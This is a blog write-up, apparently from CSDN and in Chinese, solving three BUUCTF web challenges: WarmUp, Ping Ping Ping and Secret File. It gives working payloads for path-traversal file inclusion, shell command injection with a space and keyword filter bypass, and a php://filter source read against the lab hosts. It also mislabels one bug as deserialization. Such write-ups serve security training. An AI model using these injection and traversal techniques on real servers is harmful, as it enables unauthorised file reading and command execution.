BUUCTF web类(1)

1,[HCTF 2018]WarmUp

进入页面是一个大大的滑稽,查看一下页面源代码。

看到绿色的提示,让我们进入source.php页面看下。

 

这时候得到一串这段php的源码,这题也就是代码审计了,我们一步一步看。通过这段代码看到:

 highlight_file(__FILE__);

 include $_REQUEST['file'];

那很有可能是php反序列化漏洞,我们通过file传参来实现漏洞使用,接下来具体分析下剩下代码。(写在代码的注释上了)

 <?php
    highlight_file(__FILE__);
    class emmm //设定一个函数名为emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//指定可以访问的页面
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//检测$page的值是否为字符串,为否输出‘you can't see it’

            if (in_array($page, $whitelist)) {
                return true;
            }//检测$page的值是否在数组$whitelist中,在则输出为真

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//$_page变量被赋值为$page变量的一部分,它截取了从$page的开头到第一个问号字符('?')之间的部分,但不包括问号字符本身。如果$page中不存在问号字符,那么$_page将被赋值为整个$page的内容。
            if (in_array($_page, $whitelist)) {
                return true;
            }//如果$_page属于$whiteist中,则输出为真

            $_page = urldecode($page);//将$page中的URL编码字符解码为原始字符,并将解码后的结果存储在$_page变量中
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//将解码的参数做同样操作
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])//提供文件包含参数file
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

总体而言,我们需要使用file来包含一些命令,首先要是一个字符串,且要有一串字符串在$whitelist中,然后通过函数mb_strpos再截取”?“前的一段字符串再判断是否在$whitelist中,由于这个组给了另一个php页面“hint.php”先进去看一下。

给了串提示,flag应该在文件夹ffffllllaaaagggg下,这个时候我们不知道这个文件夹在网站目录的具体位置,这时候可以是用../../../../../来返回网站根目录。这时候可以构造一下playload

http://0ec59cb8-9109-4121-8707-e39aaae07ef9.node4.buuoj.cn:81/?file=hint.php?../../../../../../ffffllllaaaagggg

得到flag

2,[GXYCTF2019]Ping Ping Ping

进入页面就是这样,页面源代码也啥也没有。

既然题目名叫ping,那么ping一下本机IP吧。

多粘了一个空格被它识别出来了。。。可见空格被过滤了,删掉空格正常显示。

这时候可以在ip背后挂上我们的指令,比如试下‘ls’。

a4989347-43f6-4968-8be0-70b75036674d.node4.buuoj.cn:81/?ip=192.168.56.1;ls

显示两个页面,看来flag页面下的就是我们想要的了。

 

试着读一下flag页面,用$IFS$9来代替空格。发现被检测出来了,估计flag被过滤了。

/?ip=192.168.56.1;cat$IFS$9flag.php

 

那就读一下index页面看看。

/?ip=192.168.56.1;cat$IFS$9index.php

显示了被过滤的字符串。

既然这样,可以尝试下拼接注入,拼接出flag。

/?ip=192.168.56.1;a=ag;b=fl;cat$IFS$9$b$a.php

检查下页面源代码得到flag。

 

3,[极客大挑战 2019]Secret File 

进入页面先直接查看源代码,找到另一个页面。

进去看看,看到secrt,也点进去看看。

直接就查阅结束了,什么都没找到,看看页面源码。

 

找到一个action.php的页面,点进去却直接跳转到了end.php页面。。。。。那抓包这个页面在加载吧。

可以看到提示了一个secr3t.php页面,进去看看。

 

吆西,得到提示源码与flag位置,通过分析源码可见有file包含漏洞,但是过滤了一些重要字符串,先去flag.php页面看看。

查看页面源代码也没有,那估计包含在后端里,这时候可以通过包含在编码这个页面在secr3t.php显示,将php内容编码他就不会运行,能得到编码后的内容。

构造piaylaod

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

得到编码后的内容,放到burp解码即可。

 

找到flag。

 

 

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTFbuuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值